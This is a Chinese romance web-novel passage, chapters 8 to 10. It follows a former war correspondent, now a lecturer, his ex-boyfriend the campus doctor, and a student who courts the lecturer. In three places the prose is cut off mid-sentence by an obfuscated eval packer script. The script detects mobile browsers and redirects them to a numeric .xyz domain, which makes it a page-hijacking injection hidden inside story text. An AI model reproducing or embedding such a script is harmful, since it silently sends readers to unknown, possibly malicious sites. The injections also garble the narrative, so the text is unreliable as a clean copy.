与其说是他起的这个头儿好,不如说是他们正借着这个由头释放了。这下老师们也不用想喝酒的串话,这里有一个扬言喝不醉的,灌他就完事儿。 他倒没什么压力需要排解,唯独有一些不自在,也被这腾腾热气冲散了。 骆弥生夹了两块手把肉在他的餐盘里:“别光喝。” 李和铮低了下眼睛:“嗯。” 他对骆弥生没有任何属于“应酬”的反应,只管应酬着桌上的其他人。 男人居多的场子到最后都是糟烂的,管他们是学者还是土匪,归根结底,就是喝,吹,喝,吹。 骆弥生滴酒未沾,穿着白衬衫坐在那里,吃相斯文,对比起其他人逐渐放飞自我到失态,更像一道清晖。 而清晖并不高悬,一直在给应酬不停的李和铮夹菜。 剩下的羊汤煮面,一大盆端上来,他也先给李和铮盛了一碗。 李和铮放下又空了的酒杯,这会儿场上已经没谁能跳起来灌他了。而他依然脸都不上,骆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“像什么?”李和铮被他吓一跳,眯着眼转头看他,笑了笑。 “像……就像……有一桩冤情,负心汉相见,藕断丝连。”苏启然说完后全是得意,把“快夸我”写在脸上。 被点破的两个人都笑开来。 在这样的晚上聊八卦不等于问隐私,李和铮一手摁着酒精作用下串着麻意的脸,语气懒散:“你看着像谁冤了谁?” “这就看不出来了。”苏启然还是得意洋洋,“看出来我也不说。” “嗐。没那么玄乎。”李和铮在车窗上撑着头,转脸,斜睨着骆弥生,“就是些人情债。” 骆弥生抿唇,不答。 苏启然家也住万柳,比李和铮租的小区更靠北。下了四环,吃到瓜的苏老师心满意足:“骆老师,就给我撂路边吧,我腿儿着回去,散散味儿。” 车便停在了路边,砰一声,他们两人被关在了车里。 骆大夫目送他晃着步子进了小区,才又踩油门。 李和铮懒洋洋地,有样学样:“骆老师,也给我撂路边就成,我腿儿着……” “你腿不行。”骆弥生打断了他,“送你进去。” 月明星稀,晴夜不可多得,仲春的风依然带来丝丝冷意。 李和铮保持着懒散的姿态没动,窝在椅子里,撑着脸,睨着骆弥生线条温润的侧脸,看不出情绪。 甘醇的酒气在密闭的空间内弥散,夜静了,内部路没有车辆来往,车厢里只有发动机细微的嗡鸣和两人的呼吸声。 和不存在的水声。 滴答,滴答…… 骆弥生喉咙发紧,目不斜视地专注开车也到了尽头,他必须问:“你家在哪栋楼?” 李和铮不答。 骆弥生很怕他这种时候不说话。他已经经历过一次了。 李和铮像个心理学流氓,依然盯着他,拿捏住他的命脉,在他向来稳定到冷淡的情绪开始变得急躁之前,才开口:“直行。” 骆弥生照做。 “到头儿右拐。” 骆弥生照做。 “右手边第三个单元门。” 骆弥生踩下刹车,踩急了,两人都朝前晃了下。 李和铮松了松窝得酸困的肩膀,笑起来,眉眼舒展,深邃的轮廓在路灯下影影绰绰。 他解开安全带时朝前欠了欠身,骆弥生抓着方向盘的手瞬间收紧,咬了下舌尖。 李和铮好整以暇地退回去,笑眯眯地问:“骆大夫,上去坐坐吗?” 8. 信息网 爆破音需要嘴唇开合,唇部肌肉用力,才能发出这个“不”字。 骆弥生在昏黄的路灯下与李和铮对视,他能看清他,又看不清他。 咬着嘴唇时发不出爆破音。 李和铮的笑褪去了。 他们注视着彼此。这带着几分异域风情的轮廓并不平易近人,平日里用懒散的眉眼与潇洒的笑意粉饰,在面无表情时暴露无遗。 他是坚硬的,是顽固的,如磐石般不可撼动的。 他也是干脆利落的,是心无挂碍的,唯独不是愿意与旧情人藕断丝连的。 骆弥生想起初春时节在拥挤的学生食堂里一眼认出来的那个李和铮。 鹤立鸡群似的,太好认了,太熟悉了,没半点生疏感,因为这十年间,他总在每个不经意的瞬间想起他。 可等走近了,便发觉他变了些。 而这种变化并不特别,是随着年龄的沉淀谁都会有的。 圆融了,可那大约是……现在的生活不尽他意。这个人意气风发时在辩论场上只想赢,在任何场上都只想赢。 佛系了?不过是因为全都拥有过了,所以全都能轻轻放下。 所以骆弥生无从开口。 毕竟这十年间,李和铮奔赴万里外,带着旌旗——他自己也是一面飘扬的旌旗。 而失格的骆大夫囿于学校的一亩三分地,把年少时的自我忘个干净。 沟壑。 唯独还剩许多,在被称之为“遗憾”的情绪掩盖下的,忘不掉也给不出的,老旧的情意。 李和铮见他半晌说不出话,开了车门。 这声音启动了骆弥生:“等一下,告诉我门牌号,给你点醒酒药。” 李和铮没回答,一手拎着包,迈出去。 骆弥生抬手扣住了他的肩,来不及过多思考,他怕旧情人间摇摇欲坠的平衡被就此打破:“等等。我……我想上去,而且你喝了这么多,虽然不醉……我的意思是,我留宿,看着你,但我……不想聊。” 李和铮笑着把他的手推下去:“我不用照顾。骆大夫,劳你送我回来,谢了。” 李和铮甩上车门,没回头。 他靠在电梯里,回想着骆弥生刚才的话,啼笑皆非。 成年人的愿意留宿意味着什么谁不懂。也就是说,他这位看起来正在主动示好的前男友,甚至接受在不明不白的时候被他睡一顿,都拒绝了这个谈话的契机。 哇。李和铮又笑起来,心想着,骆大夫,过了这村可就没这店儿了。 —————— 近些年来,李和铮很少做梦。他往返在驻地与战区,情绪集中且纯粹,身体过度劳累,精神时刻紧绷。要么深度睡眠,要么在战区里睡得极少,梦找不上门。 尤其是不会梦见从前的事。 这晚被酒精的代谢闹得睡不踏实,迷蒙间,梦见了一个遥远的片段。 那年,应该是建校116年的校庆。医学部的课程再紧也要参加校庆,他们坐校车过来,骆弥生为了早点见到他,提前自己骑车过来。 李和铮不喜欢大规模的集体活动,除了辩论队,不参与任何跟集体荣誉相关的事——去辩论队也是因为他喜欢辩论,新闻生无处安放的诸多观点,时刻沸腾的表达欲,辩论赛是最好的出口。 可那一天他感谢校庆,不用上课,他在西门等着。骆弥生年少时不戴眼镜,永远喜欢白色,只穿着白色圆领T恤和牛仔裤、帆布鞋,干净清爽,眉眼柔和,发丝柔软,随夏日的微风飘扬…… 医学部的大部队赶上来时,他们站在树下,他背靠着树,骆弥生抱着他,一点身高差够他的下巴放在他的肩膀,两人抱得紧紧的,身子还左右晃晃,亲密无间。 他们在张灯结彩、人来人往的校园里,低声谈论着早饭、昨晚赶完的作业、一会儿去校庆市集上买什么。 明明去逛就好了,还非要先念叨一遍;明明只是念叨这样平常的话,还非要抱得这么紧。 有情人的浪漫消磨,每天说很多话都不厌。而这蜜里调油的氛围当然瞒不过旁人的眼睛,林阳眼尖,第一个看见树下的他们,吓了一跳。 “卧槽老梅?!” 李和铮看得见那些人夹杂着惊艳的惊讶,年轻时候皮囊确实是好,骆弥生耳朵红了,但也大大方方地给同学们介绍:我男朋友。 可等他亲昵地搂住骆弥生的肩膀,低头,看到的却是一双冷漠的眼睛,面无表情,眼中写满了对他的拒绝。 李和铮惊醒,抬手看表,不偏不倚的七点整。 周末的早上应该多睡会儿,有两条未读微信,来自昨天刚刚加回来的骆弥生: —如果醒来头疼,煮蜂蜜水 —抱歉 发来的时间是半夜两点多。 懒得煮水,也懒得回信。有什么可抱歉的?不过是他终于准备聊聊,骆弥生不想聊,想不如给他酒后睡一觉,而他不想睡。诉求不对等,仅此而已。 他又睡着了,再次睁眼是十点四十,微信有五条未读消息,分别来自三个人。 苏启然:你放心,哥们儿,我不多嘴,你俩的事儿我烂在肚子里 李和铮嘴角抽抽,无奈,给他回复:没事,我们也没什么见不得人的 他老爹也难得发消息: —今天休息了吧 —回家吃个饭? 李和铮回:成,下午回去 下一个未读的还是骆弥生: —还没醒? —不舒服来找我,我在学校,今天值班 李和铮划出去,定了会儿,还是点开了,没必要故意对前男友已读不回: —醒了 —挺舒服,大周末的你值班 骆弥生秒回: —那就好 —嗯,毕竟还是校医,上午看诊,下午约了三个心理咨询,五点下班 —晚上带我外甥出去玩 没人有必要给前男友报备行程。李和铮不想回了,手又控制不住体面人的习惯,还是给他回过去:你姐要孩子了? 也对,骆弥生的亲姐,好像比他还大两岁来着。 骆弥生: —嗯,今年5岁了 —说想吃牛排,我准备晚上带他去蓝港 李和铮回了一个字:哦 骆大夫被这个字堵回去了,没再发消息过来。 一点都不饿的李老师开始做独居男子的周末家政,洗衣服换床单被罩,扫地拖地收垃圾。 万幸,这边儿学区密集,房价极高,李老师六千块的预算只够整租一间五十来平的一居室,用了不到两个小时便完成了大扫除。 过了午饭时间,依然没胃口,索性给他老爹李连东拨了个电话过去:“爸,您晚上想吃什么?我买了带过去。” “喔……”李连东慢性子,说话也慢,“小唐刚刚来家里了,带了羊肉过来,现在下厨了,等你回来刚好做好。” 李和铮噎住了。这个“小唐”叫唐未徊,是李连东的大徒弟,与他年纪相仿。他不在时,唐未徊把师父当爹孝敬,做师父的也把父爱投射在徒弟身上,何况手艺人的师徒情本就更亲厚些。 小时候刚认识,两人便不对盘,后来更甚。他偶尔回国,他们只见过几面——天知道李和铮真不是吃父爱的醋,他到底生性自由,着实和这种不近人情又作风古板的扑克脸八字不合。 而且,昨天才刚大吃一顿羊肉,今天又吃,真不行了。 李和铮简单解释下,李连东也不介意,说那你明天再回来也成。 一时间没了安排的李老师在屋里一瘸一拐地转了转。 当年做完手术出了院没多久重回驻地,战地医生说他的腿是需要复健的,应该在康复科多住一段时间。而他不是听劝的人,自食苦果落一辈子的病根也甘愿。 他信奉“自作自受”。一如当年骆弥生提了分手,他转身便走,不给人回寰的余地。 无所事事的李和铮决定多往后赶赶教案的进度,微信又响了。 是秦舟,新闻传播本专业的那个学生,大三了,上次送他去校医院的。 谁没事干大周末的联系一个选修课老师,李和铮莫名其妙地点进去。 秦舟: —李老师,下午好,您今天忙不忙? —可否赏个脸,出来坐坐?请您吃饭,约四五点钟 —自从认识了您,我现在也特别想做战地记者,想找您聊聊 —#龇牙 李和铮一挑眉,真的假的,这么有想法? 学生请老师吃饭,确定不是什么奇怪的信号吧。 李和铮想了想,反正闲着也是闲着,万一这孩子真是奔着当战地记者去的,岂不是折了他的心。 师德虽不多,但有一些。 于是他回: —可以啊 —谈不上请客,约哪儿? 秦舟的高兴隔着屏幕都传过来: —感谢感谢,李老师高义! —您好像不开车,方便给我个位置,我去接您! 李和铮心说那真不错,每天都有人车接车送的。 他把定位发过去。又觉得是否不妥,想找个人问,下意识点开了骆弥生的对话框。 又退出,把和秦舟聊天的截图给苏启然发过去:我这没事儿吧,别吃了他一顿饭成学术腐败了 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679427|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏启然秒回: —你多扯,你这学术腐败的成本也太低了 —不过也悠着点,现在小孩儿心思多,别是看出来你是弯的,想追你 李和铮:艹,我不是弯的 苏启然:哦哦哦,我是直男我不懂,你们还能有似弯非弯的? 李和铮给他气笑了,骂他两句,放下手机,决定在秦舟过来之前做一会儿ppt。 才开了电脑,拎出手写的笔记本,翻到相应的页数,微信又来了。 ……竟然是唐未徊,他两人有微信,保持着不说破的相看两厌,只在逢年过节时收到一两句不痛不痒的问候。 唐未徊: —不回来了? —肉做了很多,老师说给你留一点,怕放不新鲜,我给你闪送 李和铮意味不明地哼笑两声,想也知道这个人打字时冷漠的样子,偏偏把话说得跟一家人似的……虽然也算,他们家本来也是散装的。 李和铮: —甭了,我昨儿才吃手把肉 —你们多吃点,放一天坏不了 唐未徊:1 八字不合是命里自带的。 李和铮不得不喝了口水,把想怼人的心压下去,打开ppt…… 电话又响了。 他刚拿起来,对方挂了。 李和铮心说我今天可真是大忙人,一看,是骆弥生。 ……是误触还是? 他扣个问号过去。 骆弥生秒回:没事 李和铮:…… 索性不管了。 备课,要不要详细地展开讲安全通信和撤离手段,他有点犹豫。 战地的通信往往需要使用加密工具,用卫星电话,或者是假ip的加密邮件。 这意味着,驻站记者本人的消息网会骤然切断。从前的还好,到了现在这通讯发达的时代——别说现在了,就是十年前,他都不习惯。 克服环境、改变习惯,成了重中之重。所以,他也是过了一段时间,才意识到,他和骆弥生分手后是有过戒断反应的。 在他抵达也门的第三个月,李连东终于逮住他在安全区的机会,打通电话,在询问与叮嘱过后,说,小骆把你们租的那个房子退掉了,你留下的东西都打包给我送来了。 他轻描淡写:都扔了吧。 想也知道李连东肯定没扔。一想到他不扔,他就刺挠。 这种刺挠,在很多难得空闲的间隙,变成一种类似恨的情绪。 他想和骆弥生说话。又和谁都说不上话。 等这混杂在人生新体验里的戒断反应彻底在他的身体里消失,所有有关校园的回忆一并关入脑海深处,只有在学校里学出来的技能留在他身上。 一晃眼十年,他切断的信息网重新笼罩回来,这大抵是他真的重回永远的安全区的另一种实感。人是群居动物,总要生活在人群中,有烟火气才算好好生活。 最终,李老师还是只给这一块的内容简单做了知识点的罗列。 现在这些网生代的孩子没必要了解这么多。真想去的不会因为这种小问题撑不下去,不想去的听到这种层面上的艰难,只会徒增一些不必要的唏嘘与同情。 李和铮自有他的准则,他眼里的战地报道,根本不需要得到这样的同情。 —————— 穿着朴素黑卫衣牛仔裤的李和铮按约定时间下了楼,在看到秦舟的车后,脑袋上缓缓飘出一个问号。 加长版的路虎揽胜,巨型suv,香槟金色,耀武扬威地彰显着它三百多万的身价。 车主秦舟在三月底的天穿了一件黑短袖,从这衣服的剪裁也能看出来价格不菲,露出他身上的肌肉线条,一副——精心打扮过的样子,靠在车头,头顶顶着墨镜,冲着他露出灿烂的笑,把年轻气盛火力旺体现得淋漓尽致。 李和铮脑子里“叮”了一声,作为一个自诩的老男人,基本的察觉他还是有的。 有点想和苏启然贫一句,问他这位看起来既有实施学术腐败的资本,又具备不那么直的倾向,应当如何应对? 心里贫完也就罢了,拒绝掉秦舟热情地要扶他这个瘸子进副驾驶,李老师坐在了后座,问就说觉得后排宽敞。 秦舟困惑:“前排也宽敞呀老师,为了您坐着舒服,我专门回家开的车。” 李和铮报以和善的微笑,不接话:“咱们去哪儿?” “我订了昆仑饭店,现在出发刚好,东三环肯定堵得要死。” 李和铮点点头:“没事儿不往朝阳去。” 他一顿,突地想起来,骆弥生……不是说他今晚也要带外甥去亮马河来着? 9. 工具人 李和铮靠在后座,这车的确宽敞到能跷二郎腿,和秦舟有一搭没一搭地聊着。 好消息是秦舟看起来真的对成为一名战地记者燃起了极大的兴趣,坏消息是——他也确实对他这个前战地记者本人产生了极大的兴趣。 李和铮自我判断他不算gay,他活了三十二年也就只和骆弥生谈过几年恋爱,青春期里忙成绩没空悸动,分手后进入生死边缘更没心思想这些事,对自己性取向是男是女没概念,不存在有gaydar这种东西。 但他有一个成年人的基本判断。 他们的车程二十公里,走了半个小时后,毫不意外地堵在了北三环转东三环的路口。堵车无限延长在封闭空间里的私人时间,而这孩子东问西问嘴不停,热情得过头了。 并且,坐在后排的李和铮在以闲聊的口吻讲述自己过去的只言片语时,总是会在后视镜里看到秦舟充满侵略性的眼神。他们对视,他看得出那些眼神里隐含着兴奋、探究、志在必得。 年轻人爱打直球,不在乎自己的目的是否明显,更忽视所谓的身份世俗伦理道德。再加上他可见一斑的家境,这样家庭里长大的孩子有一种天然的底气,比起瞻前顾后,他更擅长一头热地做自己准备去做的事。 李和铮有什么不懂的。懂了,自然知道该如何应对。 只是有点好奇,难道他在别人眼里看起来“很gay”?怎么这么不怕生地扑上来了。 鉴于对“败坏师德”没有一个明确的标准,又想到这孩子订的饭不便宜,李和铮稍作思考,决定以不扫兴的体面方式改变一下这顿饭的性质。 他点开了骆弥生的对话框:能打电话吗?能的话,给我打过来,我说什么别管,之后和你解释 骆弥生一个字都没多问,几秒后打过来。 响铃,李和铮打断秦舟的话,接起来:“喂?骆大夫,怎么啦~” 同样开车在路上的骆弥生没有得到剧本,只说“嗯”。 “我和学生一起吃饭,去昆仑饭店。” 骆弥生:“……嗯?”这回他是真的在疑惑了。 “就我们学院的,你也见过,上回送我去你那儿的那个,秦舟。”李和铮从后视镜里看了看秦舟的眼神,看他似乎是在为这条信息感到某种爽快,便等了会儿,继续说,“这么巧?嗐我们就是普通吃饭,聊聊,没什么重要事说。我问问,秦舟。” “哎老师您说。” “骆老师也约我在这附近吃饭,你看方不方便一起?我来请,我正好和他也有事说。” 秦舟愣住了,一时间没找到合适的理由回绝,硬着头皮:“成啊!那咱一起。” “多谢啊。”李和铮笑了笑,“那行骆大夫,一会儿我发位置给你。” 稍微品出点味儿来的骆弥生再次:“嗯。” 电话挂了,消息进来:你不想和他吃饭? 李和铮快速打字:不能想,我怀疑他对我图谋不轨 这下骆弥生真的无语了:。。。 李和铮笑了: —没办法,叔叔也有人惦记 —外甥叫啥,我提前熟悉下,扮演一个好叔叔 骆弥生: —叫帆帆,大名刘翼帆 —他想追你? 李和铮: —追我我就答应,我也太不值钱了 —[位置]昆仑饭店 堵车的骆弥生再次被堵住。他眨巴下眼,嗯,话里有话吧。 回头看看被他捆在儿童椅里的外甥,小孩教得好,大人打电话他不出声,安安静静地举着手里汪汪队的饮料,也不喝。 骆弥生琢磨琢磨:“一会儿有一个哥哥和一个叔叔和我们一起吃饭,帆帆可以吗?” “可以。”外甥像母舅。 “高个子的叔叔姓李,是舅舅的……老朋友,很亲近。帆帆……也管他叫舅舅。”说出这话,骆弥生感觉自己脸上有点发热。 “可以。”帆帆很干脆,五岁的孩子从两岁开始上早教,这年岁说成是小大人太夸张,基本也什么都懂了,“见到我就喊舅舅。” “谢谢帆帆。” “不客气,舅舅。”脆生生的,甥舅俩颇有礼貌。 骆弥生反手过去,帮帆帆把杯盖拨开,摸了摸他的头。 —————— 秦舟停好车,李和铮自己单脚蹦下来,摸兜拿烟:“抽一根再上去吧,顺便等等骆老师。你抽吗?” 秦舟想象中的双人晚餐变了味儿,有点受挫,兴致没刚才那么高,过来蹭老师的烟:“成,老师,您和骆老师很熟?” “嗯,以前挺熟。”李和铮没多说,扭脸看见了骆弥生的小奔开过来,抬手招呼。 骆弥生的车停在巨型suv旁边,迷你得有点可爱。 小奔车主从车里钻出来,自下而上地和李和铮对视,看他站在高个子的学生旁云淡风轻,笑里带着几分只有他们两人才能看懂的揶揄,之于他,昨夜的“不欢而散”已荡然无存。 骆弥生匆匆点头,绕过车头去解救还困在儿童椅里的帆帆,沉默着,明白了他今日的作用:给前男友挡烂桃花。 帆帆把汪汪队饮料留在车里,不用抱,自己走过来,仰头判断,“高个子的叔叔”,但这两个人都有两个他那么高,那,有白头发的这个是要被叫成舅舅的叔叔。 帆帆大方打招呼:“哥哥好,舅舅好。” 李和铮提前灭了烟,听见这称呼,弯腰,嗖一下把小孩抱起来,掂了掂:“哎哟我的大外甥~” 骤然离地这么远,一张像外国人的脸在眼前放大,眼珠儿还是彩色的,帆帆有点紧张,把住了李和铮的胳膊。 李和铮姿态是自然,真是他亲手带大的亲外甥似的,心里却是一紧。 艹,迷你版的骆弥生。 ……怪可爱的。 “帆帆想吃牛排,咱们别去潮州菜了,”李和铮抱着孩子,转向秦舟,“上29层吧。” “没问题。”秦舟心里怎么想的不知道,面上撑着凑过来,“小弟弟你好。” 李和铮抱着孩子拐了两步,骆弥生锁好车,自然地从他怀里把帆帆接走:“你腿别负重了。” 他把帆帆放地上,牵他一只手,李和铮牵上了他另一只手。 高高举着双手牵着真舅舅和假舅舅的帆帆松了口气。 站在后面看着他们仨背影的秦舟:……………… 哪里来的一家三口?! —————— 在360度全景天窗的旋转餐厅,帆帆很高兴。 他喜欢舅舅,舅舅周末带他玩儿,对他有求必应。现在带来一个彩色眼珠的舅舅,也很疼他,一直在笑眯眯地和他讲话,亲手给他切牛排。 西餐厅的四人桌,坐得很微妙,李和铮左手边放着帆帆的儿童椅,正面坐着骆弥生,秦舟坐在他斜对角。 李和铮一边照顾着帆帆,一边续上在车里的话题,和秦舟继续说:“所以说,你不能和我比。我年轻的时候,那不叫为梦想奔赴千里,那叫不知天高地厚。这还是说好听的。说不好听的叫不知死活,写普通的报道配不上我,我才非要用命往外跑。” 对面的骆弥生握着叉子的手猛地收紧了,又松开,垂下眼睛。 秦舟不知道他这话是用来刺谁的,兴致勃勃地反驳:“您说您这,非要劝退我,还把自个儿说成这样,至于吗?” “我劝退你是肯定的,不管是你、不是你,谁现在杵我面前了,我都会劝他,别把那梦不梦想的挂嘴边,过好自己的生活,真想清楚了再做决定。”李和铮老神在在地扎起一块儿焗蜗牛。 “这玩意儿,这么一做,卖你三五百。在战区,你从地里都挖不着带寄生虫的,炮轰没了,寸草不生。这谁受得了?” “老师,您受得了,我为什么就一定会受不了?”秦舟到底年轻,想象中的夜光晚餐对坐而谈没了,所期待的李和铮会给他的鼓励、甚至逐渐对他倾囊相授,也没了,还全是各式各样的打击,有点沉不住气。 “战地记者是危险,可如果人人都怕危险,就没有人去做了。还是说,您是看我像个富二代,没什么新闻理想,所以看不起我?” “你急什么。”李和铮抬眼,扫了秦舟一眼,压迫感随之而来。 秦舟:…… 他缓了下才开口:“抱歉老师,我有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679428|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激动。” “激动好啊。”李和铮把水果沙拉拌好酱,拉到帆帆面前,“你有新闻理想,我挺高兴的。而且你说的话很对的。” 他终于放下了手里的餐具,正视秦舟:“我尊重你的意愿,或者说,我敬重你愿意成为殉道者的勇气。只是在这件事上,每一步路,我都走过了。无论你是向往我的经历也好,还是你有你想实现的理想抱负也罢,都很好。那,现在我问你,一个人用十年时间深耕一件事,一般来说,是为了什么?” 秦舟怔住。 工作本身并不具备价值,大部分人是养家糊口。若在保证基本生活质量的情况下能做自己喜欢的工作,很幸运,这是人生常态。 那……为了实现梦想吗?可是李老师刚说不要把梦想挂在嘴边。 难道是……为了实现更伟大的目标?变成“战地英雄”,中二时期都不好意思说这种话。 骆弥生也放下了叉子,扭头看秦舟。 沉默良久,秦舟眉眼塌下去:“我不知道。” 李和铮笑了笑,“你才二十岁,你说不知道太正常了。接下来这段时间,你可以想想这个问题属于你的那个答案,可以告诉我,也可以放在你心里。至于你想听的那些课外知识,我当然也可以讲给你听。” 秦舟点点头,没说话。 李和铮与骆弥生对视一眼,故作浮夸地叹口气:“你也不要把我神化。不然你应该继续看到我的报道,而不是喊我老师。” “那不是一回事,”秦舟又急了,“因为……” “好了,”李和铮温和地打断他,“给你讲件事。我常驻在热战区,但很幸运,没经历过九死一生的情况,也没缺胳膊少腿。我原装的膝盖,丢在了一起根本用不上飞机大炮的部落冲突里。” “和我一起去的同事,他家女儿刚刚两岁,他是回国歇了几年,还放不下外头的那些破事,又出来的。” “苏门答腊有一种花,叫巨花魔芋,会散发腐尸的味道,就是咱们常说的食人花的原型。”果汁喝完了,李和铮顺手拿过骆弥生的果汁,含着他的吸管喝了两口,“国内没有,所以他不知道自己对这花过敏。” 骆弥生定定地看着李和铮,秦舟也有了猜想,面色凝重,可惜李和铮讲出来的事并没去他们所期望的那样有转折。 “谁也没预料到。身边根本没有药物能干预。”李和铮神色淡淡的,“我当时忙着被急救,等躺进回国的班机,不知道另一个客舱里还躺着他的尸体。” 一片沉默。 听懂了的帆帆眼里汪起泪水,咬着嘴唇忍着,和骆弥生克制情绪时的小习惯一模一样。 李和铮连忙把帆帆从儿童椅里抱出来,放腿上哄:“没事,不哭,不怕昂。” 良久,秦舟举起果汁杯,冲李和铮举杯:“谢谢您,老师。” —————— 回到停车场,李和铮很自然地掠过豪车,朝小奔走。 倒是骆弥生,多看了几眼那辆车,抿了抿嘴。 “老师。”秦舟叫住他,李和铮与骆弥生一起回头看他。 “您今天说的所有事,我都记住了,”年轻男孩目光坚定,“但我想,我不会放弃的。不论什么。” 李和铮受不了地摆摆手:“看你那操性。行了甭扯那没用的了,赶紧回家。” 路上,李和铮还靠在他那后仰的椅背里,闭着眼睛,唉声叹气:“骆大夫,你说,是为人师表累,还是救死扶伤累?” “你觉得呢。” “我艹,反正给老子累屁了。” “啧。” “哦对不起帆帆,舅舅说脏话了,别学我。”李和铮反应很快,萎靡地,“我今天应该没太‘爹’吧?对个孩子大言不惭的,招烦。” “不会,我看他挺喜欢你的。”骆弥生语气平淡。 李和铮笑笑,没说话。 输出了太多,初尝为人师表滋味的李老师几乎睡过去。 天色已晚,车内太安静,帆帆也睡着了。 到了李和铮的小区门口,骆弥生转过脸,抬眼,去看他在夜色中深不见底的眼睛:“我把帆帆送回家,再去找你,行吗?” 10. 双人床 左右明天上班,都有课,未来三天内见不到人。 李和铮一点头:“行,开车路上慢点,上来的时候带两瓶酒。” “好。”骆弥生重重地松了口气,绷紧的肩膀放松,抬眼看他时目光柔和了许多,“白兰地?” “嗯,都行,门牌号1303,密码发你微信。”李和铮说着,轻手轻脚地下车,“你自己考虑,我这儿一居室,你要留宿,就带睡衣。” 骆弥生定定地看他一眼,在他轻轻推上车门后,按下车窗,欠身过去,神情严肃得好像要宣布什么重大决定:“那我用不用……带点别的?” 李和铮心里笑翻了天,很想问问骆大夫眼里的他究竟是什么色中饿鬼,令他时时刻刻准备着英勇就义?他面上不显,意味深长地给他一个眼神让他自己考虑去吧。 才刚刚进行过大扫除的独居男子为了迎接旧情人登堂入室,换好睡衣后,又把地拖了一遍,垃圾袋也换了新的,从衣柜里拿出另一个松软的枕头扔到床上——真是该死的熟悉,他喜欢荞麦皮的枕头,骆弥生喜欢棉的,老是睡落枕,还不换。 其实他俩都是认死理的轴人,谁也别说谁。 客厅的灯有四档,第一档是个奇怪的紫色灯泡,不知道房东是怎么想的。租了这个房子后他几乎没在客厅里待过,回家就瘫床上了,这会儿把灯调到了第四档,唯一一个暖黄的光线,又从冰箱里拿了两罐雪碧,准备兑酒喝。 一切准备就绪,有没有家的温馨不知道,至少这环境看起来很适合谈话了。李和铮靠在沙发里,双手抱臂,琢磨着,如果骆弥生要为从前的事道歉,那他要说“没关系”吗。 骆大夫昨夜还摆出要对从前之事绝口不提的态度,今日又主动提了,那么他什么都愿意听听,除了任何有关道歉的字眼。 拥有了他家门密码的骆老师在开门前讲礼貌地敲了两下,才生疏地输入那一串数字。 李和铮坐着没动,转头看向门口,在骆弥生进来的时候报以微笑:“嗨。你还挺快的。” 骆弥生手里提着大黑袋子,里面装着从他姐家酒柜里顺出来的两瓶人头马和醒酒器、他放在车后备箱的睡衣和出差洗漱包、小区门口生鲜超市的柠檬,以及,楼下便利店里的大号冈本、ky。 “嗯。”他没有抬头看李和铮。 屋主人在自己的场域里不需要有任何看似随和的粉饰,暖光没弱化他锋利的轮廓,眼神清明而冷淡。他穿着的黑色绸料睡衣领口大开,锁骨长而深,松松的裤管包裹着长腿,年纪上来了,气度也不尽似从前。 是年岁赋予他的,沉玉般的质感。 他从不是浅薄的。现在的李和铮之于骆弥生,像一本重新修订后的旧书,内容早烂熟于心,新版却不完全一致,捧在手里,不忍卒读。 “我不管你了,你自己认认,反正就这么大,一眼看到头了。拖鞋在鞋柜里,自己拿,新的。”李和铮收回目光,探身从桌子上拿过烟灰缸,给自己点了一支,平定稍起波澜的心绪。 他是有点触动,这种等一个人打开家门“归家”的画面总是柔软的。但不多。 骆弥生应了一声,换好拖鞋,先找到了卫生间,提着睡衣和洗漱包进去。洗漱包放上手台,洗过手,对着镜中的自己,迟疑片刻,换上了白色的睡衣。 在重逢第六面的前男友家里穿着睡衣的骆大夫,镇定自若,走出来,迎着屋主人的注视,开始拿袋子里的东西。 酒拿进厨房醒,翻找厨具,洗净,切柠檬。盐肯定是没有的,他想都不用想,李和铮自己绝对不会下厨房,能有厨具大约也是房东留下的。 柠檬切好,又从餐桌上把雪碧拿进来,找了两个普通的水杯,分别倒进去按比例兑好——天知道医学生手上的准头用在调酒上。杯子看起来是宜家的,很居家的设计,装上烈酒,卡上柠檬片,不伦不类。 骆大夫做饭习惯手边清,调好的酒放着淀的功夫,案板和刀已经洗干净立起来沥水。 李和铮笑眯眯地像个大爷,装都不装一下,一点动的意思都没有,等着骆弥生把两杯酒放在桌面上,去小阳台上给窗户押了个缝,才往旁边挪屁股,拍了拍:“来,坐。” 骆弥生坐下后先去拿他的烟盒,一看,还是黄鹤楼大彩,一款烟抽十几年都抽不腻。 两人在沙发上隔着一个身位,他给自己也点上,李和铮突然倾身凑近了。 骆弥生脖子一僵,定住不动,看着这张在眼前放大的脸。眼角——有细纹,鬓边有白发。明明才三十二岁。 “眼镜摘了我看看。”李和铮眯着眼睛上下打量他,提出非分要求。 “摘了看不清近处,我度数不低。”骆弥生边说话,一口烟散在他脸上。 “看那么清楚干什么。”李和铮抬手,捏住他的镜托,单手把他眼镜摘掉了。 骆弥生:…… 他脸热,真是蛮不讲理的一个人。 李和铮端详着去掉眼镜阻隔后和记忆里分毫不差的脸,不知怎地,心里松了口气,感到一阵平和。说到底还是念旧的人,所有爱好一成不变。 而骆弥生被强行剥夺了清晰的视线,身边的人还没撤到安全距离,心头翻涌起一阵不安,只好垂眼继续抽烟。 “我说,”李和铮端起酒杯喝了几口,心情好起来,“你紧张什么?” “你说呢。”骆弥生转脸看他,看不真切,顺势往后撤,终于不那么近了。 